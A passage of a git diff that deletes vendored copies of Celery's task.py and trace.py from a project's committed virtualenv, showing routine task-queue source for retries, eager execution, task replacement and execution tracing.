default using the - :attr:`trail` attribute - - ignore_result (bool): If set to `False` (default) the result - of a task will be stored in the backend. If set to `True` - the result will not be stored. This can also be set - using the :attr:`ignore_result` in the `app.task` decorator. - - publisher (kombu.Producer): Deprecated alias to ``producer``. - - headers (Dict): Message headers to be included in the message. - The headers can be used as an overlay for custom labeling - using the :ref:`canvas-stamping` feature. - - Returns: - celery.result.AsyncResult: Promise of future evaluation. - - Raises: - TypeError: If not enough arguments are passed, or too many - arguments are passed. Note that signature checks may - be disabled by specifying ``@task(typing=False)``. - ValueError: If soft_time_limit and time_limit both are set - but soft_time_limit is greater than time_limit - kombu.exceptions.OperationalError: If a connection to the - transport cannot be made, or if the connection is lost. - - Note: - Also supports all keyword arguments supported by - :meth:`kombu.Producer.publish`. - """ - if self.soft_time_limit and self.time_limit and self.soft_time_limit > self.time_limit: - raise ValueError('soft_time_limit must be less than or equal to time_limit') - - if self.typing: - try: - check_arguments = self.__header__ - except AttributeError: # pragma: no cover - pass - else: - check_arguments(*(args or ()), **(kwargs or {})) - - if self.__v2_compat__: - shadow = shadow or self.shadow_name(self(), args, kwargs, options) - else: - shadow = shadow or self.shadow_name(args, kwargs, options) - - preopts = self._get_exec_options() - options = dict(preopts, **options) if options else preopts - - options.setdefault('ignore_result', self.ignore_result) - if self.priority: - options.setdefault('priority', self.priority) - - app = self._get_app() - if app.conf.task_always_eager: - with app.producer_or_acquire(producer) as eager_producer: - serializer = options.get('serializer') - if serializer is None: - if eager_producer.serializer: - serializer = eager_producer.serializer - else: - serializer = app.conf.task_serializer - body = args, kwargs - content_type, content_encoding, data = serialization.dumps( - body, serializer, - ) - args, kwargs = serialization.loads( - data, content_type, content_encoding, - accept=[content_type] - ) - with denied_join_result(): - return self.apply(args, kwargs, task_id=task_id or uuid(), - link=link, link_error=link_error, **options) - else: - return app.send_task( - self.name, args, kwargs, task_id=task_id, producer=producer, - link=link, link_error=link_error, result_cls=self.AsyncResult, - shadow=shadow, task_type=self, - **options - ) - - def shadow_name(self, args, kwargs, options): - """Override for custom task name in worker logs/monitoring. - - Example: - .. code-block:: python - - from celery.utils.imports import qualname - - def shadow_name(task, args, kwargs, options): - return qualname(args[0]) - - @app.task(shadow_name=shadow_name, serializer='pickle') - def apply_function_async(fun, *args, **kwargs): - return fun(*args, **kwargs) - - Arguments: - args (Tuple): Task positional arguments. - kwargs (Dict): Task keyword arguments. - options (Dict): Task execution options. - """ - - def signature_from_request(self, request=None, args=None, kwargs=None, - queue=None, **extra_options): - request = self.request if request is None else request - args = request.args if args is None else args - kwargs = request.kwargs if kwargs is None else kwargs - options = {**request.as_execution_options(), **extra_options} - delivery_info = request.delivery_info or {} - priority = delivery_info.get('priority') - if priority is not None: - options['priority'] = priority - if queue: - options['queue'] = queue - else: - exchange = delivery_info.get('exchange') - routing_key = delivery_info.get('routing_key') - if exchange == '' and routing_key: - # sent to anon-exchange - options['queue'] = routing_key - else: - options.update(delivery_info) - return self.signature( - args, kwargs, options, type=self, **extra_options - ) - subtask_from_request = signature_from_request # XXX compat - - def retry(self, args=None, kwargs=None, exc=None, throw=True, - eta=None, countdown=None, max_retries=None, **options): - """Retry the task, adding it to the back of the queue. - - Example: - >>> from imaginary_twitter_lib import Twitter - >>> from proj.celery import app - - >>> @app.task(bind=True) - ... def tweet(self, auth, message): - ... twitter = Twitter(oauth=auth) - ... try: - ... twitter.post_status_update(message) - ... except twitter.FailWhale as exc: - ... # Retry in 5 minutes. - ... raise self.retry(countdown=60 * 5, exc=exc) - - Note: - Although the task will never return above as `retry` raises an - exception to notify the worker, we use `raise` in front of the - retry to convey that the rest of the block won't be executed. - - Arguments: - args (Tuple): Positional arguments to retry with. - kwargs (Dict): Keyword arguments to retry with. - exc (Exception): Custom exception to report when the max retry - limit has been exceeded (default: - :exc:`~@MaxRetriesExceededError`). - - If this argument is set and retry is called while - an exception was raised (``sys.exc_info()`` is set) - it will attempt to re-raise the current exception. - - If no exception was raised it will raise the ``exc`` - argument provided. - countdown (float): Time in seconds to delay the retry for. - eta (~datetime.datetime): Explicit time and date to run the - retry at. - max_retries (int): If set, overrides the default retry limit for - this execution. Changes to this parameter don't propagate to - subsequent task retry attempts. A value of :const:`None`, - means "use the default", so if you want infinite retries you'd - have to set the :attr:`max_retries` attribute of the task to - :const:`None` first. - time_limit (int): If set, overrides the default time limit. - soft_time_limit (int): If set, overrides the default soft - time limit. - throw (bool): If this is :const:`False`, don't raise the - :exc:`~@Retry` exception, that tells the worker to mark - the task as being retried. Note that this means the task - will be marked as failed if the task raises an exception, - or successful if it returns after the retry call. - **options (Any): Extra options to pass on to :meth:`apply_async`. - - Raises: - - celery.exceptions.Retry: - To tell the worker that the task has been re-sent for retry. - This always happens, unless the `throw` keyword argument - has been explicitly set to :const:`False`, and is considered - normal operation. - """ - request = self.request - retries = request.retries + 1 - if max_retries is not None: - self.override_max_retries = max_retries - max_retries = self.max_retries if max_retries is None else max_retries - - # Not in worker or emulated by (apply/always_eager), - # so just raise the original exception. - if request.called_directly: - # raises orig stack if PyErr_Occurred, - # and augments with exc' if that argument is defined. - raise_with_context(exc or Retry('Task can be retried', None)) - - if not eta and countdown is None: - countdown = self.default_retry_delay - - is_eager = request.is_eager - S = self.signature_from_request( - request, args, kwargs, - countdown=countdown, eta=eta, retries=retries, - **options - ) - - if max_retries is not None and retries > max_retries: - if exc: - # On Py3: will augment any current exception with - # the exc' argument provided (raise exc from orig) - raise_with_context(exc) - raise self.MaxRetriesExceededError( - "Can't retry {}[{}] args:{} kwargs:{}".format( - self.name, request.id, S.args, S.kwargs - ), task_args=S.args, task_kwargs=S.kwargs - ) - - ret = Retry(exc=exc, when=eta or countdown, is_eager=is_eager, sig=S) - - if is_eager: - # if task was executed eagerly using apply(), - # then the retry must also be executed eagerly in apply method - if throw: - raise ret - return ret - - try: - S.apply_async() - except Exception as exc: - raise Reject(exc, requeue=False) - if throw: - raise ret - return ret - - def apply(self, args=None, kwargs=None, - link=None, link_error=None, - task_id=None, retries=None, throw=None, - logfile=None, loglevel=None, headers=None, **options): - """Execute this task locally, by blocking until the task returns. - - Arguments: - args (Tuple): positional arguments passed on to the task. - kwargs (Dict): keyword arguments passed on to the task. - throw (bool): Re-raise task exceptions. - Defaults to the :setting:`task_eager_propagates` setting. - - Returns: - celery.result.EagerResult: pre-evaluated result. - """ - # trace imports Task, so need to import inline. - from celery.app.trace import build_tracer - - app = self._get_app() - args = args or () - kwargs = kwargs or {} - task_id = task_id or uuid() - retries = retries or 0 - if throw is None: - throw = app.conf.task_eager_propagates - - # Make sure we get the task instance, not class. - task = app._tasks[self.name] - - request = { - 'id': task_id, - 'task': self.name, - 'retries': retries, - 'is_eager': True, - 'logfile': logfile, - 'loglevel': loglevel or 0, - 'hostname': gethostname(), - 'callbacks': maybe_list(link), - 'errbacks': maybe_list(link_error), - 'headers': headers, - 'ignore_result': options.get('ignore_result', False), - 'delivery_info': { - 'is_eager': True, - 'exchange': options.get('exchange'), - 'routing_key': options.get('routing_key'), - 'priority': options.get('priority'), - } - } - if 'stamped_headers' in options: - request['stamped_headers'] = maybe_list(options['stamped_headers']) - request['stamps'] = { - header: maybe_list(options.get(header, [])) for header in request['stamped_headers'] - } - - tb = None - tracer = build_tracer( - task.name, task, eager=True, - propagate=throw, app=self._get_app(), - ) - ret = tracer(task_id, args, kwargs, request) - retval = ret.retval - if isinstance(retval, ExceptionInfo): - retval, tb = retval.exception, retval.traceback - if isinstance(retval, ExceptionWithTraceback): - retval = retval.exc - if isinstance(retval, Retry) and retval.sig is not None: - return retval.sig.apply(retries=retries + 1) - state = states.SUCCESS if ret.info is None else ret.info.state - return EagerResult(task_id, retval, state, traceback=tb, name=self.name) - - def AsyncResult(self, task_id, **kwargs): - """Get AsyncResult instance for the specified task. - - Arguments: - task_id (str): Task id to get result for. - """ - return self._get_app().AsyncResult(task_id, backend=self.backend, - task_name=self.name, **kwargs) - - def signature(self, args=None, *starargs, **starkwargs): - """Create signature. - - Returns: - :class:`~celery.signature`: object for - this task, wrapping arguments and execution options - for a single task invocation. - """ - starkwargs.setdefault('app', self.app) - return signature(self, args, *starargs, **starkwargs) - subtask = signature - - def s(self, *args, **kwargs): - """Create signature. - - Shortcut for ``.s(*a, **k) -> .signature(a, k)``. - """ - return self.signature(args, kwargs) - - def si(self, *args, **kwargs): - """Create immutable signature. - - Shortcut for ``.si(*a, **k) -> .signature(a, k, immutable=True)``. - """ - return self.signature(args, kwargs, immutable=True) - - def chunks(self, it, n): - """Create a :class:`~celery.canvas.chunks` task for this task.""" - from celery import chunks - return chunks(self.s(), it, n, app=self.app) - - def map(self, it): - """Create a :class:`~celery.canvas.xmap` task from ``it``.""" - from celery import xmap - return xmap(self.s(), it, app=self.app) - - def starmap(self, it): - """Create a :class:`~celery.canvas.xstarmap` task from ``it``.""" - from celery import xstarmap - return xstarmap(self.s(), it, app=self.app) - - def send_event(self, type_, retry=True, retry_policy=None, **fields): - """Send monitoring event message. - - This can be used to add custom event types in :pypi:`Flower` - and other monitors. - - Arguments: - type_ (str): Type of event, e.g. ``"task-failed"``. - - Keyword Arguments: - retry (bool): Retry sending the message - if the connection is lost. Default is taken from the - :setting:`task_publish_retry` setting. - retry_policy (Mapping): Retry settings. Default is taken - from the :setting:`task_publish_retry_policy` setting. - **fields (Any): Map containing information about the event. - Must be JSON serializable. - """ - req = self.request - if retry_policy is None: - retry_policy = self.app.conf.task_publish_retry_policy - with self.app.events.default_dispatcher(hostname=req.hostname) as d: - return d.send( - type_, - uuid=req.id, retry=retry, retry_policy=retry_policy, **fields) - - def replace(self, sig): - """Replace this task, with a new task inheriting the task id. - - Execution of the host task ends immediately and no subsequent statements - will be run. - - .. versionadded:: 4.0 - - Arguments: - sig (Signature): signature to replace with. - visitor (StampingVisitor): Visitor API object. - - Raises: - ~@Ignore: This is always raised when called in asynchronous context. - It is best to always use ``return self.replace(...)`` to convey - to the reader that the task won't continue after being replaced. - """ - chord = self.request.chord - if 'chord' in sig.options: - raise ImproperlyConfigured( - "A signature replacing a task must not be part of a chord" - ) - if isinstance(sig, _chain) and not getattr(sig, "tasks", True): - raise ImproperlyConfigured("Cannot replace with an empty chain") - - # Ensure callbacks or errbacks from the replaced signature are retained - if isinstance(sig, group): - # Groups get uplifted to a chord so that we can link onto the body - sig |= self.app.tasks['celery.accumulate'].s(index=0) - for callback in maybe_list(self.request.callbacks) or []: - sig.link(callback) - for errback in maybe_list(self.request.errbacks) or []: - sig.link_error(errback) - # If the replacement signature is a chain, we need to push callbacks - # down to the final task so they run at the right time even if we - # proceed to link further tasks from the original request below - if isinstance(sig, _chain) and "link" in sig.options: - final_task_links = sig.tasks[-1].options.setdefault("link", []) - final_task_links.extend(maybe_list(sig.options["link"])) - # We need to freeze the replacement signature with the current task's - # ID to ensure that we don't disassociate it from the existing task IDs - # which would break previously constructed results objects. - sig.freeze(self.request.id) - # Ensure the important options from the original signature are retained - replaced_task_nesting = self.request.get('replaced_task_nesting', 0) + 1 - sig.set( - chord=chord, - group_id=self.request.group, - group_index=self.request.group_index, - root_id=self.request.root_id, - replaced_task_nesting=replaced_task_nesting - ) - - # If the replaced task is a chain, we want to set all of the chain tasks - # with the same replaced_task_nesting value to mark their replacement nesting level - if isinstance(sig, _chain): - for chain_task in maybe_list(sig.tasks) or []: - chain_task.set(replaced_task_nesting=replaced_task_nesting) - - # If the task being replaced is part of a chain, we need to re-create - # it with the replacement signature - these subsequent tasks will - # retain their original task IDs as well - for t in reversed(self.request.chain or []): - chain_task = signature(t, app=self.app) - chain_task.set(replaced_task_nesting=replaced_task_nesting) - sig |= chain_task - return self.on_replace(sig) - - def add_to_chord(self, sig, lazy=False): - """Add signature to the chord the current task is a member of. - - .. versionadded:: 4.0 - - Currently only supported by the Redis result backend. - - Arguments: - sig (Signature): Signature to extend chord with. - lazy (bool): If enabled the new task won't actually be called, - and ``sig.delay()`` must be called manually. - """ - if not self.request.chord: - raise ValueError('Current task is not member of any chord') - sig.set( - group_id=self.request.group, - group_index=self.request.group_index, - chord=self.request.chord, - root_id=self.request.root_id, - ) - result = sig.freeze() - self.backend.add_to_chord(self.request.group, result) - return sig.delay() if not lazy else sig - - def update_state(self, task_id=None, state=None, meta=None, **kwargs): - """Update task state. - - Arguments: - task_id (str): Id of the task to update. - Defaults to the id of the current task. - state (str): New state. - meta (Dict): State meta-data. - """ - if task_id is None: - task_id = self.request.id - self.backend.store_result( - task_id, meta, state, request=self.request, **kwargs) - - def before_start(self, task_id, args, kwargs): - """Handler called before the task starts. - - .. versionadded:: 5.2 - - Arguments: - task_id (str): Unique id of the task to execute. - args (Tuple): Original arguments for the task to execute. - kwargs (Dict): Original keyword arguments for the task to execute. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_success(self, retval, task_id, args, kwargs): - """Success handler. - - Run by the worker if the task executes successfully. - - Arguments: - retval (Any): The return value of the task. - task_id (str): Unique id of the executed task. - args (Tuple): Original arguments for the executed task. - kwargs (Dict): Original keyword arguments for the executed task. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_retry(self, exc, task_id, args, kwargs, einfo): - """Retry handler. - - This is run by the worker when the task is to be retried. - - Arguments: - exc (Exception): The exception sent to :meth:`retry`. - task_id (str): Unique id of the retried task. - args (Tuple): Original arguments for the retried task. - kwargs (Dict): Original keyword arguments for the retried task. - einfo (~billiard.einfo.ExceptionInfo): Exception information. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_failure(self, exc, task_id, args, kwargs, einfo): - """Error handler. - - This is run by the worker when the task fails. - - Arguments: - exc (Exception): The exception raised by the task. - task_id (str): Unique id of the failed task. - args (Tuple): Original arguments for the task that failed. - kwargs (Dict): Original keyword arguments for the task that failed. - einfo (~billiard.einfo.ExceptionInfo): Exception information. - - Returns: - None: The return value of this handler is ignored. - """ - - def after_return(self, status, retval, task_id, args, kwargs, einfo): - """Handler called after the task returns. - - Arguments: - status (str): Current task state. - retval (Any): Task return value/exception. - task_id (str): Unique id of the task. - args (Tuple): Original arguments for the task. - kwargs (Dict): Original keyword arguments for the task. - einfo (~billiard.einfo.ExceptionInfo): Exception information. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_replace(self, sig): - """Handler called when the task is replaced. - - Must return super().on_replace(sig) when overriding to ensure the task replacement - is properly handled. - - .. versionadded:: 5.3 - - Arguments: - sig (Signature): signature to replace with. - """ - # Finally, either apply or delay the new signature! - if self.request.is_eager: - return sig.apply().get() - else: - sig.delay() - raise Ignore('Replaced by new task') - - def add_trail(self, result): - if self.trail: - self.request.children.append(result) - return result - - def push_request(self, *args, **kwargs): - self.request_stack.push(Context(*args, **{**self.request.__dict__, **kwargs})) - - def pop_request(self): - self.request_stack.pop() - - def __repr__(self): - """``repr(task)``.""" - return _reprtask(self, R_INSTANCE) - - def _get_request(self): - """Get current request object.""" - req = self.request_stack.top - if req is None: - # task was not called, but some may still expect a request - # to be there, perhaps that should be deprecated. - if self._default_request is None: - self._default_request = Context() - return self._default_request - return req - request = property(_get_request) - - def _get_exec_options(self): - if self._exec_options is None: - self._exec_options = extract_exec_options(self) - return self._exec_options - - @property - def backend(self): # noqa: F811 - backend = self._backend - if backend is None: - return self.app.backend - return backend - - @backend.setter - def backend(self, value): - self._backend = value - - @property - def __name__(self): - return self.__class__.__name__ - - -BaseTask = Task # XXX compat alias diff --git a/backend/venv/Lib/site-packages/celery/app/trace.py b/backend/venv/Lib/site-packages/celery/app/trace.py deleted file mode 100644 index 2e8cf8a3..00000000 --- a/backend/venv/Lib/site-packages/celery/app/trace.py +++ /dev/null @@ -1,739 +0,0 @@ -"""Trace task execution. - -This module defines how the task execution is traced: -errors are recorded, handlers are applied and so on. -""" -import logging -import os -import sys -import time -from collections import namedtuple -from warnings import warn - -from billiard.einfo import ExceptionInfo, ExceptionWithTraceback -from kombu.exceptions import EncodeError -from kombu.serialization import loads as loads_message -from kombu.serialization import prepare_accept_content -from kombu.utils.encoding import safe_repr, safe_str - -from celery import current_app, group, signals, states -from celery._state import _task_stack -from celery.app.task import Context -from celery.app.task import Task as BaseTask -from celery.exceptions import BackendGetMetaError, Ignore, InvalidTaskError, Reject, Retry -from celery.result import AsyncResult -from celery.utils.log import get_logger -from celery.utils.nodenames import gethostname -from celery.utils.objects import mro_lookup -from celery.utils.saferepr import saferepr -from celery.utils.serialization import get_pickleable_etype, get_pickleable_exception, get_pickled_exception - -# ## --- -# This is the heart of the worker, the inner loop so to speak. -# It used to be split up into nice little classes and methods, -# but in the end it only resulted in bad performance and horrible tracebacks, -# so instead we now use one closure per task class. - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. -# pylint: disable=broad-except -# We know what we're doing... - - -__all__ = ( - 'TraceInfo', 'build_tracer', 'trace_task', - 'setup_worker_optimizations', 'reset_worker_optimizations', -) - -from celery.worker.state import successful_requests - -logger = get_logger(__name__) - -#: Format string used to log task receipt. -LOG_RECEIVED = """\ -Task %(name)s[%(id)s] received\ -""" - -#: Format string used to log task success. -LOG_SUCCESS = """\ -Task %(name)s[%(id)s] succeeded in %(runtime)ss: %(return_value)s\ -""" - -#: Format string used to log task failure. -LOG_FAILURE = """\ -Task %(name)s[%(id)s] %(description)s: %(exc)s\ -""" - -#: Format string used to log task internal error. -LOG_INTERNAL_ERROR = """\ -Task %(name)s[%(id)s] %(description)s: %(exc)s\ -""" - -#: Format string used to log task ignored. -LOG_IGNORED = """\ -Task %(name)s[%(id)s] %(description)s\ -""" - -#: Format string used to log task rejected. -LOG_REJECTED = """\ -Task %(name)s[%(id)s] %(exc)s\ -""" - -#: Format string used to log task retry. -LOG_RETRY = """\ -Task %(name)s[%(id)s] retry: %(exc)s\ -""" - -log_policy_t = namedtuple( - 'log_policy_t', - ('format', 'description', 'severity', 'traceback', 'mail'), -) - -log_policy_reject = log_policy_t(LOG_REJECTED, 'rejected', logging.WARN, 1, 1) -log_policy_ignore = log_policy_t(LOG_IGNORED, 'ignored', logging.INFO, 0, 0) -log_policy_internal = log_policy_t( - LOG_INTERNAL_ERROR, 'INTERNAL ERROR', logging.CRITICAL, 1, 1, -) -log_policy_expected = log_policy_t( - LOG_FAILURE, 'raised expected', logging.INFO, 0, 0, -) -log_policy_unexpected = log_policy_t( - LOG_FAILURE, 'raised unexpected', logging.ERROR, 1, 1, -) - -send_prerun = signals.task_prerun.send -send_postrun = signals.task_postrun.send -send_success = signals.task_success.send -STARTED = states.STARTED -SUCCESS = states.SUCCESS -IGNORED = states.IGNORED -REJECTED = states.REJECTED -RETRY = states.RETRY -FAILURE = states.FAILURE -EXCEPTION_STATES = states.EXCEPTION_STATES -IGNORE_STATES = frozenset({IGNORED, RETRY, REJECTED}) - -#: set by :func:`setup_worker_optimizations` -_localized = [] -_patched = {} - -trace_ok_t = namedtuple('trace_ok_t', ('retval', 'info', 'runtime', 'retstr')) - - -def info(fmt, context): - """Log 'fmt % context' with severity 'INFO'. - - 'context' is also passed in extra with key 'data' for custom handlers. - """ - logger.info(fmt, context, extra={'data': context}) - - -def task_has_custom(task, attr): - """Return true if the task overrides ``attr``.""" - return mro_lookup(task.__class__, attr, stop={BaseTask, object}, - monkey_patched=['celery.app.task']) - - -def get_log_policy(task, einfo, exc): - if isinstance(exc, Reject): - return log_policy_reject - elif isinstance(exc, Ignore): - return log_policy_ignore - elif einfo.internal: - return log_policy_internal - else: - if task.throws and isinstance(exc, task.throws): - return log_policy_expected - return log_policy_unexpected - - -def get_task_name(request, default): - """Use 'shadow' in request for the task name if applicable.""" - # request.shadow could be None or an empty string. - # If so, we should use default. - return getattr(request, 'shadow', None) or default - - -class TraceInfo: - """Information about task execution.""" - - __slots__ = ('state', 'retval') - - def __init__(self, state, retval=None): - self.state = state - self.retval = retval - - def handle_error_state(self, task, req, - eager=False, call_errbacks=True): - if task.ignore_result: - store_errors = task.store_errors_even_if_ignored - elif eager and task.store_eager_result: - store_errors = True - else: - store_errors = not eager - - return { - RETRY: self.handle_retry, - FAILURE: self.handle_failure, - }[self.state](task, req, - store_errors=store_errors, - call_errbacks=call_errbacks) - - def handle_reject(self, task, req, **kwargs): - self._log_error(task, req, ExceptionInfo()) - - def handle_ignore(self, task, req, **kwargs): - self._log_error(task, req, ExceptionInfo()) - - def handle_retry(self, task, req, store_errors=True, **kwargs): - """Handle retry exception.""" - # the exception raised is the Retry semi-predicate, - # and it's exc' attribute is the original exception raised (if any). - type_, _, tb = sys.exc_info() - try: - reason = self.retval - einfo = ExceptionInfo((type_, reason, tb)) - if store_errors: - task.backend.mark_as_retry( - req.id, reason.exc, einfo.traceback, request=req, - ) - task.on_retry(reason.exc, req.id, req.args, req.kwargs, einfo) - signals.task_retry.send(sender=task, request=req, - reason=reason, einfo=einfo) - info(LOG_RETRY, { - 'id': req.id, - 'name': get_task_name(req, task.name), - 'exc': str(reason), - }) - return einfo - finally: - del tb - - def handle_failure(self, task, req, store_errors=True, call_errbacks=True): - """Handle exception.""" - orig_exc = self.retval - - exc = get_pickleable_exception(orig_exc) - if exc.__traceback__ is None: - # `get_pickleable_exception` may have created a new exception without - # a traceback. - _, _, exc.__traceback__ = sys.exc_info() - - exc_type = get_pickleable_etype(type(orig_exc)) - - # make sure we only send pickleable exceptions back to parent. - einfo = ExceptionInfo(exc_info=(exc_type, exc, exc.__traceback__)) - - task.backend.mark_as_failure( - req.id, exc, einfo.traceback, - request=req, store_result=store_errors, - call_errbacks=call_errbacks, - ) - - task.on_failure(exc, req.id, req.args, req.kwargs, einfo) - signals.task_failure.send(sender=task, task_id=req.id, - exception=exc, args=req.args, - kwargs=req.kwargs, - traceback=exc.__traceback__, - einfo=einfo) - self._log_error(task, req, einfo) - return einfo - - def _log_error(self, task, req, einfo): - eobj = einfo.exception = get_pickled_exception(einfo.exception) - if isinstance(eobj, ExceptionWithTraceback): - eobj = einfo.exception = eobj.exc - exception, traceback, exc_info, sargs, skwargs = ( - safe_repr(eobj), - safe_str(einfo.traceback), - einfo.exc_info, - req.get('argsrepr') or safe_repr(req.args), - req.get('kwargsrepr') or safe_repr(req.kwargs), - ) - policy = get_log_policy(task, einfo, eobj) - - context = { - 'hostname': req.hostname, - 'id': req.id, - 'name': get_task_name(req, task.name), - 'exc': exception, - 'traceback': traceback, - 'args': sargs, - 'kwargs': skwargs, - 'description': policy.description, - 'internal': einfo.internal, - } - - logger.log(policy.severity, policy.format.strip(), context, - exc_info=exc_info if policy.traceback else None, - extra={'data': context}) - - -def traceback_clear(exc=None): - # Cleared Tb, but einfo still has a reference to Traceback. - # exc cleans up the Traceback at the last moment that can be revealed. - tb = None - if exc is not None: - if hasattr(exc, '__traceback__'): - tb = exc.__traceback__ - else: - _, _, tb = sys.exc_info() - else: - _, _, tb = sys.exc_info() - - while tb is not None: - try: - tb.tb_frame.clear() - tb.tb_frame.f_locals - except RuntimeError: - # Ignore the exception raised if the frame is still executing. - pass - tb = tb.tb_next - - -def build_tracer(name, task, loader=None, hostname=None, store_errors=True, - Info=TraceInfo, eager=False, propagate=False, app=None, - monotonic=time.monotonic, trace_ok_t=trace_ok_t, - IGNORE_STATES=IGNORE_STATES): - """Return a function that traces task execution. - - Catches all exceptions and updates result backend with the - state and result. - - If the call was successful, it saves the result to the task result - backend, and sets the task status to `"SUCCESS"`. - - If the call raises :exc:`~@Retry`, it extracts - the original exception, uses that as the result and sets the task state - to `"RETRY"`. - - If the call results in an exception, it saves the exception as the task - result, and sets the task state to `"FAILURE"`. - - Return a function that takes the following arguments: - - :param uuid: The id of the task. - :param args: List of positional args to pass on to the function. - :param kwargs: Keyword arguments mapping to pass on to the function. - :keyword request: Request dict. - - """ - - # pylint: disable=too-many-statements - - # If the task doesn't define a custom __call__ method - # we optimize it away by simply calling the run method directly, - # saving the extra method call and a line less in the stack trace. - fun = task if task_has_custom(task, '__call__') else task.run - - loader = loader or app.loader - ignore_result = task.ignore_result - track_started = task.track_started - track_started = not eager and (task.track_started and not ignore_result) - - # #6476 - if eager and not ignore_result and task.store_eager_result: - publish_result = True - else: - publish_result = not eager and not ignore_result - - deduplicate_successful_tasks = ((app.conf.task_acks_late or task.acks_late) - and app.conf.worker_deduplicate_successful_tasks - and app.backend.persistent) - - hostname = hostname or gethostname() - inherit_parent_priority = app.conf.task_inherit_parent_priority - - loader_task_init = loader.on_task_init - loader_cleanup = loader.on_process_cleanup - - task_before_start = None - task_on_success = None - task_after_return = None - if task_has_custom(task, 'before_start'): - task_before_start = task.before_start - if task_has_custom(task, 'on_success'): - task_on_success = task.on_success - if task_has_custom(task, 'after_return'): - task_after_return = task.after_return - - pid = os.getpid() - - request_stack = task.request_stack - push_request = request_stack.push - pop_request = request_stack.pop - push_task = _task_stack.push - pop_task = _task_stack.pop - _does_info = logger.isEnabledFor(logging.INFO) - resultrepr_maxsize = task.resultrepr_maxsize - - prerun_receivers = signals.task_prerun.receivers - postrun_receivers = signals.task_postrun.receivers - success_receivers = signals.task_success.receivers - - from celery import canvas - signature = canvas.maybe_signature # maybe_ does not clone if already - - def on_error(request, exc, state=FAILURE, call_errbacks=True): - if propagate: - raise - I = Info(state, exc) - R = I.handle_error_state( - task, request, eager=eager, call_errbacks=call_errbacks, - ) - return I, R, I.state, I.retval - - def trace_task(uuid, args, kwargs, request=None): - # R - is the possibly prepared return value. - # I - is the Info object. - # T - runtime - # Rstr - textual representation of return value - # retval - is the always unmodified return value. - # state - is the resulting task state. - - # This function is very long because we've unrolled all the calls - # for performance reasons, and because the function is so long - # we want the main variables (I, and R) to stand out visually from the - # the rest of the variables, so breaking PEP8 is worth it ;) - R = I = T = Rstr = retval = state = None - task_request = None - time_start = monotonic() - try: - try: - kwargs.items - except AttributeError: - raise InvalidTaskError( - 'Task keyword arguments is not a mapping') - - task_request = Context(request or {}, args=args, - called_directly=False, kwargs=kwargs) - - redelivered = (task_request.delivery_info - and task_request.delivery_info.get('redelivered', False)) - if deduplicate_successful_tasks and redelivered: - if task_request.id in successful_requests: - return trace_ok_t(R, I, T, Rstr) - r = AsyncResult(task_request.id, app=app) - - try: - state = r.state - except BackendGetMetaError: - pass - else: - if state == SUCCESS: - info(LOG_IGNORED, { - 'id': task_request.id, - 'name': get_task_name(task_request, name), - 'description': 'Task already completed successfully.' - }) - return trace_ok_t(R, I, T, Rstr) - - push_task(task) - root_id = task_request.root_id or uuid - task_priority = task_request.delivery_info.get('priority') if \ - inherit_parent_priority else None - push_request(task_request) - try: - # -*- PRE -*- - if prerun_receivers: - send_prerun(sender=task, task_id=uuid, task=task, - args=args, kwargs=kwargs) - loader_task_init(uuid, task) - if track_started: - task.backend.store_result( - uuid, {'pid': pid, 'hostname': hostname}, STARTED, - request=task_request, - ) - - # -*- TRACE -*- - try: - if task_before_start: - task_before_start(uuid, args, kwargs) - - R = retval = fun(*args, **kwargs) - state = SUCCESS - except Reject as exc: - I, R = Info(REJECTED, exc), ExceptionInfo(internal=True) - state, retval = I.state, I.retval - I.handle_reject(task, task_request) - traceback_clear(exc) - except Ignore as exc: - I, R = Info(IGNORED, exc), ExceptionInfo(internal=True) - state, retval = I.state, I.retval - I.handle_ignore(task, task_request) - traceback_clear(exc) - except Retry as exc: - I, R, state, retval = on_error( - task_request, exc, RETRY, call_errbacks=False) - traceback_clear(exc) - except Exception as exc: - I, R, state, retval = on_error(task_request, exc) - traceback_clear(exc) - except BaseException: - raise - else: - try: - # callback tasks must be applied before the result is - # stored, so that result.children is populated. - - # groups are called inline and will store trail - # separately, so need to call them separately - # so that the trail's not added multiple times :( - # (Issue #1936) - callbacks = task.request.callbacks - if callbacks: - if len(task.request.callbacks) > 1: - sigs, groups = [], [] - for sig in callbacks: - sig = signature(sig, app=app) - if isinstance(sig, group): - groups.append(sig) - else: - sigs.append(sig) - for group_ in groups: - group_.apply_async( - (retval,), - parent_id=uuid, root_id=root_id, - priority=task_priority - ) - if sigs: - group(sigs, app=app).apply_async( - (retval,), - parent_id=uuid, root_id=root_id, - priority=task_priority - ) - else: - signature(callbacks[0], app=app).apply_async( - (retval,), parent_id=uuid, root_id=root_id, - priority=task_priority - ) - - # execute first task in chain - chain = task_request.chain - if chain: - _chsig = signature(chain.pop(), app=app) - _chsig.apply_async( - (retval,), chain=chain, - parent_id=uuid, root_id=root_id, - priority=task_priority - ) - task.backend.mark_as_done( - uuid, retval, task_request, publish_result, - ) - except EncodeError as exc: - I, R, state, retval = on_error(task_request, exc) - else: - Rstr = saferepr(R, resultrepr_maxsize) - T = monotonic() - time_start - if task_on_success: - task_on_success(retval, uuid, args, kwargs) - if success_receivers: - send_success(sender=task, result=retval) - if _does_info: - info(LOG_SUCCESS, { - 'id': uuid, - 'name': get_task_name(task_request, name), - 'return_value': Rstr, - 'runtime': T, - 'args': task_request.get('argsrepr') or safe_repr(args), - 'kwargs': task_request.get('kwargsrepr') or safe_repr(kwargs), - }) - - # -* POST *- - if state not in IGNORE_STATES: - if task_after_return: - task_after_return( - state, retval, uuid, args, kwargs, None, - ) - finally: - try: - if postrun_receivers: - send_postrun(sender=task, task_id=uuid, task=task, - args=args, kwargs=kwargs, - retval=retval, state=state) - finally: - pop_task() - pop_request() - if not eager: - try: - task.backend.process_cleanup() - loader_cleanup() - except (KeyboardInterrupt, SystemExit, MemoryError): - raise - except Exception as exc: - logger.error('Process cleanup failed: %r', exc, - exc_info=True) - except MemoryError: - raise - except Exception as exc: - _signal_internal_error(task, uuid, args, kwargs, request, exc) - if eager: - raise - R = report_internal_error(task, exc) - if task_request is not None: - I, _, _, _ = on_error(task_request, exc) - return trace_ok_t(R, I, T, Rstr) - - return trace_task - - -def trace_task(task, uuid, args, kwargs, request=None, **opts): - """Trace task execution.""" - request = {} if not request else request - try: - if task.__trace__ is None: - task.__trace__ = build_tracer(task.name, task, **opts) - return 